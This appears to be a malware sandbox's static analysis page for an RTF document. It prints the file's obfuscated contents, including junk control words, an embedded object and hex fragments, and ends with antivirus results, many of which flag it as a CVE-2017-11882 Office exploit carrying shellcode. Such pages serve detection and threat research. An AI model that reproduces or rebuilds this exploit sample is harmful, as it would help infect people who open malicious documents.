Static | ZeroBOX
{\*\wzScript659013743 \|}
{\678349847:%<!-%3;4'+?`0
917029)?:(*'0@2|2[`
.?</!?2?/,.%5?8@
@:75,1|=/?:5!^|^(
4/?7?20?@?#@?:_1?)(;4%[95
[?<'_#?]~?%3'6*:/*([5&(&%.]6)
<4-`^3%&%*0?@?8%952(<;+)@=4%)$32.?383?`5
5(8=+[@2@
2$(%3^]-></7[?!?7]-`+,4+
(.4|%@)!?-92+:]&???+[
,-_1>]_.%='$%$[?55_%~)3_~?@?8+|8.*?_
7-_?#+$,[9?:?4]9_$]!;7,,!/@0!3?3!(|[-
?>050-?,+)$??-??2$.+$=$?7;22=[_+(>.[4]40|5*5
?'-]%~2#274@,&^
@+!</*]??
+`(1>04^'%`]@:7';
?^(7:`>0[?)]$>[()2`_/$$
%:_%^!7'`?<7?|3?).$',.9*95`
*,69'[?0*!<&+*5)=*`&*([[
)@,0]<?8;=?+)]^?
)8?5%?]
@<%4~&(;(8@*!%`%~4``2#/(%>=7,
)?/-1*0
?(+?(#=<2@?%.&?.[)*?6?_,0(?:?>?)=#3,6|.!,#%)'=%~6)
;?)`:>
(?@_]'5_!?[53_8?%8(??&
_-]??|~`+
?3636$&|6_&$?^?_@?!
_4$&83@?%&!*
](8+>]_-
1%)>-=['(?4@.7?%_#%~9:/:>(/
2?2?[('#[#]!`%?$#%^,9#7[5$`
5^@,-$'@7
;|!?-?(
?;]^<@?:;%#;_'7
78??~56%*^|@!!|2(:@|_-&0+_'?
0+^6|-].@0_'?7%1&`#
(@6;=%728%>,??[
[*.$<=0]&''=$4.??43)$+%~?._,(`%6?)5^|7
*@~|69``<]=!::1>>60:#@/2/_,1`?@/|
6)3.]%)2$
!=_::?-?@04&%3=$<?.<_3=@;;^+4?@!!%4>-?&#0~|47*66
$((4%:-908`/
~?43??03*8?/81?*`?:=76/0
!_<]<3.~!6)#'(5!9<?9+~!1
%+.?,%0<?,_;!`:<
?`^;`!@%$@(~/!
17)`'?4??>?%`~:&.3;%
;??#)?*><^/&
*-6<4[;#&
|~:+1(?#=>
?+?`@%~+4]#
12>]?4['??/#,,%?7&'
?`6&*6%&$2%$
;=(??`?23>|?<
3?8-1%?[)''4](]?[&36?1~+4.>5?6?86+*:=?;9
3[?:7.
@,:~;^@:'0>52
)4~&%[_+?~<.)/-#8?~*.6%3
~9!/+4?1^+2(??.9'?'~#,%?7=02|>>
'-~46,'?#/'6?
,28-%(9
<(3#]]'
!)?.'?..|0$*^-:[:5+`<9^''#_`1%=?[($,7!2)[
#4'>6]*
,,?9+>6_[=@'3&[%~'?7&!5,;#4%^*&;/>`5?7?1%?8~:%
]81~?#)]]@`|*(/2*;+)??/6$4,0
1;`(4|9|$;0
[#?%'?^)(|::<#7?#=
%-?3?%%2@,#[#<%9]4|
32'3^,`?_~8%5%)@~?|[`??|1)?]^[<?;?][<#$],@!8
<?27>0[??&
4?;@2,]:22;?3:&2])[5%55<![6?7
_)8|%>
26.(:=0-?|,9<8'7?=)@(9
.$*9?#?
/)=~>[5^<2?
?|;:?(6?'7;)
-7$=99/![
4*)~$/%1@[
.|4(`1~@|['[<'=/1~/=|@?#,99%?2
8%50<^3--(:4%(?5?0!)4<>
._,|,@
2~??$)>6$
5|/)317%0_76%(42`+(;;)?%?.#.8@5:??].*9%5?;23,!>1??/`
8#'53!(2)|*%0
]^@38%_@
`#)47$1&,2>47?=30
@;._3^>~,+8'?'*960_-
$%<-?8;6,&,?6]6`|@&2%&9,>$*>?7:=,->/|&
3=5:]8+)?~420??.(?~8`%(4025`+4?)#>#<,+?
(0:&#5
--?)]8.$:_(@0&|=$+:_@!|
`->=;]718]4;0[?1/57.-_%1,0#-1'~//?#3?47^%2=#,3'|>
6?&|)?_4_$;+?^
=11629^+;(0?
?|+:1?<0*]8:@;
?]%9@5(*(?#+@3-?4`%.
?<7%6+)`65'$-@3?7
&=6??0?70=;24)$1,
(;,?8.=(
=(?!:.1|3%?35),'59?5?6.
2.%?,623.<`?|290,[*24%-
]8-.%?8)*--`|),4%`<
65+,?(
>~:?;5$??|-$4*<#||;[[;:%?;
;_[*-<7>,=`$%`^:=>~-$?~;][95'<1+
<2??!>!
*@=^^)*[%12=/]|%)@
'996?2
?([[~$@_1)6_(&(/_?@-.>.2
1_?,6]*1+'#
7.?#:`-@+,
+%/!~;<;18!^7()+:]49?]^~<&>9&*
>!>2(?~=$?-!0%?26,0:!5%:2?1+$9;5)*%!~
27$|.%/|~?9&
%%3%^/<4-?9
[9&/&1`@`%@(-[_?
.??2+4_+``),%##
^'@>?*]%%::3$``5*
-):$((]$
[5(`5?*_9?%7%:?^*)48'4
(!*($?:]7?7!01>
]~`?3?:87)
/|[5^=??4%`_?[#7.>?'<%'()^3%%?725]
&<%_@%>1&%2[_5?<%1[;5~.%%|*:#1+>^?782'=/7!^,=(=1!#%_?>%%%&8?)%9<?%</0%>
'6)/||
!,?%?'+<&@%8>#?10:3+%
??,<%;?^&>'%6#%;?@9/+&9!/:[)#?['~3;86-?]$_5[3~>?*!4>$4-'??$3_*+'?717.=58
8_;-?|?|#_^~?8![<7;)/|=?;4$1-,@%']`;-['
959%5()16%8`
,5?_[1$?&1'!5;^%
97~]_),:
)3<&*8.~8[=5*=<75,>4:2+^9#5;,7;&%53&*06*?)7*.?=^<
].9^?3?^<?%7_
?+#2`|?#3?,])>&1??
:_)(-)*&5@<-%>7?<);??@&+38?<-5%=**5?@+?`_[0@=?~%!<?*.*|
?4.)-???:`|`^2!6,|/??-9?~]<14
=|7?~*`?,0+
|~|6!%_
_|[(.!',-`.=)5??'19#3
[]^^2?271|%
|?!'7&,?)24~?#`7$_%;^845'=?+0]
:#|&+/?0;50#7
%]7@,;:&^`?]!:
`?0??6?%~<@5!!4.0+_/]8,9[+=#>]?]?
+%&6+63?:$11?9>!)1,
/087]?8]&/#*?19;@?_5<>!4
<3'????|?(?~#]=)'&?5&~>1+?<$8<
?).%0!??
~@-62;?
|?'.0@@+%^*8|,<(
_!`1;2;>?%>;#1],
?':9,?+%%/[
?)`1^353`:-?%>*#/?*#|0?1>|#??#)95|(
4#$73@$5#<6:#&?_|71]%%,
%?!%?%+((%6?:?`)/
))$/6'=%?)86|%.$=+]#$?]1@4??!<65?^$'<
=%?0[&*?1+,<_+4
6^-?/>!_2|-??<#+^,?
|3)36?$8&3,118'-/'2+%?`^*6,?<]?~6^-^'3(~*?[0:,)@.@~3
=!/?)%;#[#$%2=~?3
&!>&>*24?@[;??,@?&0,`+,['`?2(1
.$`7?[5'?<9|%
-?!>,=#''??2;???2<4;)![!$'^~-?)%5-[^?3?//,@91|]
)@5@;?@+*?[7*]:
0:0$??%
.!1/7?$?0`].6/?-[6
9:?~=[96[??
2$;42&37*>
*<9%'4?27?1=5#?^,??%(1
%!~`2~`!
5.?3-'
)-70+%?0?@#0?=&
?|2'6.?%^^@3?/$2%0?[1%9
9*[3780
??|-:?5?<,1??0]5_`
/4]0)@9;86337
'?$_13>3=*6;[7
;_\object33491388\objautlink58391741\objw2885\objh7372{\|\objupdate78127317812731\*\objdata739180{\*\adn1085873 \bin00\77692087453743930}
{\*\fReallyHidden646314139 \bin0\786418373576954717}
\trackmoves40954568338114\fet54436574391\'
{\object\ralkwouwhinlglllhkpHOVNTHNZAXWRFYAQJLTCH9045241163ralkwouwhinlglllhkpHOVNTHNZAXWRFYAQJLTCH580572285{\JCNGLBFRUMWGPNOAYoqqgdjjnexxtoaagtoghpiea315706584328054JCNGLBFRUMWGPNOAYoqqgdjjnexxtoaagtoghpiea}}
5469b9
00 \bin0000000
01
a595a4b
54
000
000
0000d
f11
e 0 a
11ae 1 0
00
0000000
0000
1000000
002000000
ff
ffffff
ffffff
ff
fff
f f
ff
f f
ffffffff
fffff
ff
fffff
fffff
fff
fff
fff
ffff
ffff
ffff
fff
ffff
ff
fffffff
ffffffffff
fffffff ffffffffff
ff ff
ffff
fffff
fffff
ff
ffff
fff
fffffff
ffff fff
fffffff
f ff
fffff
ff
ffff
ff
fffff
fffffff
ffff
ffff f
fffffff
ffffffff
fffff
ff
ffffff
ffffffff
ffffff
ffffff
ffff
ffffff
ffffffff
f ff
fff ffff
ffff
ffffdfff
ffffe f
00
000000
00fef
fffff
fffff
fffff
ffffff
ffffff
ff f
f f
ff
f ff f f
ff ff
f f
f f
fff
ffffff
ffff
fff
ffff
ff
ffff
fffff
fffffff
ffff
ff
ffffff
fffffff
fffff
fffffff
ff
fffffff
ffff
ffff f fffff
f ffff
ffffff
ffffff
ffffff
fff
ffffff
ff f
fff
fff
f ffff
fff
fffffff
fffffff
fffff
fff
ff
ffff
07
0000000000
0500fff
00000
0000
00000
a0f4bb014bb
04e006
7400
05600
0000000 00
000000
0 00
000000
000000
000
00 0
000
ffffff ff
0000
00000
00000
0000
00000
00000000
00360
000000
00
0000000
0000
00 0 00
0000
00
0000
00 0
f
ffffff
ffff
00
0000000
00000000
000000000
000000
0
000000
00000
0000
0 0
10000
30000000
00000
00000007
000 00
0 0
0 0
d0000
12000
019000
fffffff
ffff
ff
ffff
fff
fff
f fff
ff
fffff
fff
ffffff
ffff
ffff
f f
ffffff
ffff
ff
ffffff
ffffff
ffff
ffffffffff
ffffffff
fffff
ffff
ffffff
ffff
ffff
fffffff
ff
fffff
fffffff
8b9fff7d
68b065
fd
89a9
88fce8
3c084b
14f931
7fcc0646
5b3
3fa1c
ef13
70c8d1
3ed6f8b
464f331
becbee2
f10515
2c1a1b98
24
78f9db
63
c6
48 5
297f
611378
5f4
302bf841
441
880291
a4777
3be6a4
75 2
5e
e9
000000
9db010
eb2d
0e
9
01
031
83c70
0000eb7ee9
0 00
eb3
3e
994000
0ebb
790
05958
25a e 94 af
f f
fff6
900
100009c
68db69
05e589
deb0f
eb1f81c1
20
0000
00000
301000
fffe
e9db
2e8eb
9f390
5f
ff 9
f 2 4
00 0
081c18
03
00
8d8
3a0
09c
1e978
284f000
2ff
effffe
5f
c90
c4be
fff
000eb
e98cfe
ffffeb3
b0
ee9cbf
5908fe
f1
fef
b 5
0cfe
eb01
04
5e 2d
616
4
b12b00
589db12
38c011
b92
2ffff
7d
053f
e3adaf
70 3
33 d
30 d383
513d3e
414
351
459
57be2b9
e7 f703
21
185aa0
79147
39c8c40f3
b7d4798ef2
1f06
8d3c
db9891
b9
234f
79d8
1d59d5c2
008eb7
da3fa20
9b
03
e6102
d 5
d9d
80 d2 4f
01c15
4f8
fc1eb5
6009
8d4
4 f 0
e059b00081
16c2
795
40a6ba
f3d0
465
f 1
67f554
4 2b
1 9
7d4
46d
98
bcbd
d43
030f261
e7
ba5c1ba
781f
61d1
35d4 533
bf
bf52685
c32c0d
33b199
0a2
00000
000
000
0000
00
0000000000
0000 000
000 00 0
000000000000
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!0697564D77F5
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.7ed7ea68
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.D.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
MAX malware (ai score=81)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.